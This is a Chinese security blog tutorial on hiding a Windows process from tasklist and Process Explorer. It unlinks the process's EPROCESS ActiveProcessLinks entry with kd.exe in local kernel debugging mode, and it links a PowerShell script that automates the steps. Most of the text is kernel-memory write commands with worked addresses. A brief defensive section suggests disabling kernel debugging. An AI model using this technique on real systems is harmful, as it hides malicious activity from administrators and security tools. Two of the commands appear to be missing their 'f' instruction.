Powershell tricks::Hide Process by kd.exe

0x00 前言

Pierre-Alexandre Braeken在SecTor2016上做了一个很棒的演讲——HACK MICROSOFT BY USING MICROSOFT SIGNED BINARIES

他对自己开源的工具PowerMemory做了介绍,将powershell同使用微软签名的程序相结合,可以绕过Device Guard和杀毒软件的拦截

演讲视频地址:

Hack Microsoft by using Microsoft signed binaries

PowerMemory项目地址:

https://github.com/giMini/PowerMemory/

0x01 简介

PowerMemory内包含的脚本很多,其中一个比较有趣的脚本是Hide-Me.ps1,通过借助kb.exe来实现对进程的隐藏

本文将对该脚本进行测试,介绍进程隐藏的原理,修改原脚本,分析利用和防御方法。

0x02 相关概念

PCB(process control block):

进程控制块,是系统为了管理进程专门设置的一个数据结构

PCB的组织方式:

  • 线性表方式:不论进程的状态如何,将所有的PCB连续地存放在内存的系统区。这种方式适用于系统中进程数目不多的情况
  • 索引表方式:该方式是线性表方式的改进,系统按照进程的状态分别建立就绪索引表、阻塞索引表等
  • 链接表方式:系统按照进程的状态将进程的PCB组成队列,从而形成就绪队列、阻塞队列、运行队列等

不同操作系统的PCB结构不同

Windows下的PCB是EPROCESS结构

进程链表是一个双向环链表

EPROCESS结构:

每个进程都有一个EPROCESS结构,里面保存着进程的各种信息和相关结构的指针

注:

Windows各版本的EPROCESS结构存在差异

EPROCESS结构位于系统地址空间,所以访问这个结构需要有ring0的权限

注:

Windows开启Local kernel debugging模式后,可进入ring0,使用内核态调试器

基本的内核态调试器有以下两种:

  • kd.exe(KD)

命令行模式

常用于调试内核态的应用程序和驱动程序,调试用户态的应用程序,或者监视操作系统自身的行为等

windbg.exe(WinDbg)

  • 界面模式

可以为Windows内核、内核态驱动程序以及用户态应用程序提供完整的源代码级调试

通过kd.exe可以查看EPROCESS结构,命令行参数如下:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess"

回显如下: 见2.txt

其中,+0x2f0 ActiveProcessLinks : _LIST_ENTRY表示进程活动链表

进程活动链表:

是一个PLIST_ENTRY结构的双向链表,把每个EPROCESS链接起来

当一个新进程建立的时候,父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中

当进程结束的时候,该进程的EPROCESS结构从活动进程链上摘除

遍历整个链表,就能实现对进程的枚举

双链表的删除操作:

如图

2-1

void DDeleteNode(DListNode p) {//在带头结点的双链表中,删除结点p,设*p为非终端结点 p->prior->next=p->next;//① (使p的前一个结点的后驱直接指向 原来的p的后驱) p->next->prior=p->prior;//② (使p的后一个结点的前驱 直接为原来p的前一个结点) free(p);//③ (释放p的内存) }

图和说明引用自 http://blog.163.com/haibianfeng_yr/blog/static/34572620201453061036702/

隐藏进程:

相当于对双向链表ActiveProcessLinks断链

对应双链表的删除需要做如下操作:

  • p->prior->next=p->next Flink->Blink=Blink
  • p->next->prior=p->prior Blink->Flink = Flink
  • free(p) Blink =dwSelfEPROCESS Flink = dwSelfEPROCESS

接下来实例介绍如何通过kd.exe隐藏进程,也就是双链表的断链

0x03 通过kd.exe隐藏进程

环境搭建:

  • 开启Local kernel debugging模式

注:

自从Windows Vista开始,Local kernel debugging默认被禁用

开启方法:

管理员权限执行:bcdedit -debug on,重启

下载安装Debugging Tools for Windows,找到kd.exe

测试进程:notepad.exe 测试系统: Win10 x64

1、获取notepad.exe的内存起始地址

kd命令:

!process 0 0 $processName

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "!process 0 0 notepad.exe;Q"

如图

2-2

notepad.exe的内存起始地址$processAddress为ffffe00195236080

2、获取进程notepad.exe的Flink和Blink

kd命令:

dt nt!_eprocess ActiveProcessLinks ImageFileName $processAddress

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess 
ActiveProcessLinks ImageFileName ffffe00195236080;Q"

如图

2-3

注:

FLINK指针指向下一个元素,相当于双链表中的p->next

BLINK指针指向前一个元素,相当于双链表中的p->prior

_LIST_ENTRY结构如下:

_LIST_ENTRY[Flink-Blink]

前一参数代表Flink,后一参数代表Blink

由上图可知:

  • $Flink:0xffffe001`93e1a370
  • $Blink:0xffffe001`9604f6f0

3、获取进程notepad.exe在双链表的地址$thisProcessLinks

kd命令:

dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName $processAddress

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess 
ActiveProcessLinks.Blink ImageFileName ffffe00195236080;Q"

如图

2-4

可知:

  • $thisProcessLinks:0xffffe001`95236370

注:

dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName相当于进程notepad.exe的前一个进程

+0x008 Blink : 0xffffe001`9604f6f0 _LIST_ENTRY [0xffffe001`95236370-Blink]

中的0xffffe001`95236370相当于进程notepad.exe在双链表的地址$thisProcessLinks

补充:

+0x000 Flink: 0xffffe001`93e1a370 _LIST_ENTRY[Flink-Blink]中的Blink也能代表双链表的地址$thisProcessLinks

简单的理解:

当前进程的Blink的Flink等价于当前进程的Flink的Blink,也就是当前进程的地址$thisProcessLinks

4、将前一进程指向下一个元素的指针FLINK替换为当前进程的FLINK指针(Flink->Blink=Blink)

即双链表删除操作的第1步:

p->prior->next=p->next

kd命令:

f $Blink+0x000 L4 ($Flink的第0字节) ($Flink的第1字节) ($Flink的第2字节) ($Flink的第3字节)

注:

+0x000代表Flink

+0x008代表Blink

$Blink+0x000代表p->prior->next(0x000为0,可省略)

L4参数指定内存区间的长度为4个DWORD

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`9604f6f0 L4 0x70 
0xa3 0xe1 0x93;Q"

如图

2-5

操作成功,实现双链表删除中的p->prior->next=p->next

5、将下一进程指向前一个元素的指针Blink替换为当前进程的BLINK指针

即双链表删除操作的第2步:

p->next->prior=p->prior

kd命令:

f $Flink+0x008 L4 ($Blink的第0字节) ($Blink的第1字节) ($Blink的第2字节) ($Blink的第3字节)

注:

+0x008代表Blink

$Flink++0x008代表p->next->prior

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`93e1a370 L4 0xf0 
0xf6 0x04 0x96;Q"

如图

2-6

操作成功,实现双链表删除中的p->next->prior=p->prior

6、进程自身的新Flink指向进程自身的双链表地址$thisProcessLinks

kd命令:

f $thisProcessLinks+0x000 L4 ($thisProcessLinks的第0字节) ($thisProcessLinks的第1字节) ($thisProcessLinks
的第2字节) (thisProcessLinks的第3字节)

注:

+0x000代表Flink

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370 L4 0x70 
0x63 0x23 0x95;Q"

如图

2-7

7、进程自身的新Blink指向进程自身的双链表地址$thisProcessLinks

kd命令:

f $thisProcessLinks+0x008 L4 ($thisProcessLinks的第0字节) ($thisProcessLinks的第1字节) ($thisProcessLinks
的第2字节) (thisProcessLinks的第3字节)

注:

+0x008代表Blink

完整命令:

kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370+0x008 L4 
0x70 0x63 0x23 0x95;Q"

如图

2-8

注:

7、8操作必须,对应双链表删除操作中的free(p),否则会蓝屏

8、测试

在tasklist和Process Explorer中,notepad.exe进程均被隐藏

0x04 powershell自动实现

以上操作可通过powershell脚本自动实现,这就是Hide-Me.ps1实现的功能

适用环境:

  • Win7、8、10 64位操作系统

利用前提:

  • 开启Local kernel debugging模式
  • 管理员权限执行:bcdedit -debug on
  • 重启后测试

由于PowerMemory做了脚本整合,所以Hide-Me.ps1还需要其他支持文件

我对其进行了少量修改,只提取隐藏进程的关键代码,最终整合到一个ps脚本中,地址如下:

https://github.com/3gstudent/Hide-Process-by-kd.exe

0x05 防御思路

该方法利用前提:

已获得系统管理员权限并开启Local kernel debugging模式,系统重启

也就是说攻击者已进入ring 0层才能利用这个方法

对于普通用户,可以永久关闭Local kernel debugging模式:

  • bcdedit -debug off

0x06 补充

  • 该脚本尚不支持32位系统
  • Windbg也能实现相同操作

 

*作者:3gstudent,转载请注明来自MottoIN

原创文章,作者:3gstudent,如若转载,请注明出处:http://www.mottoin.com/article/system/94910.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code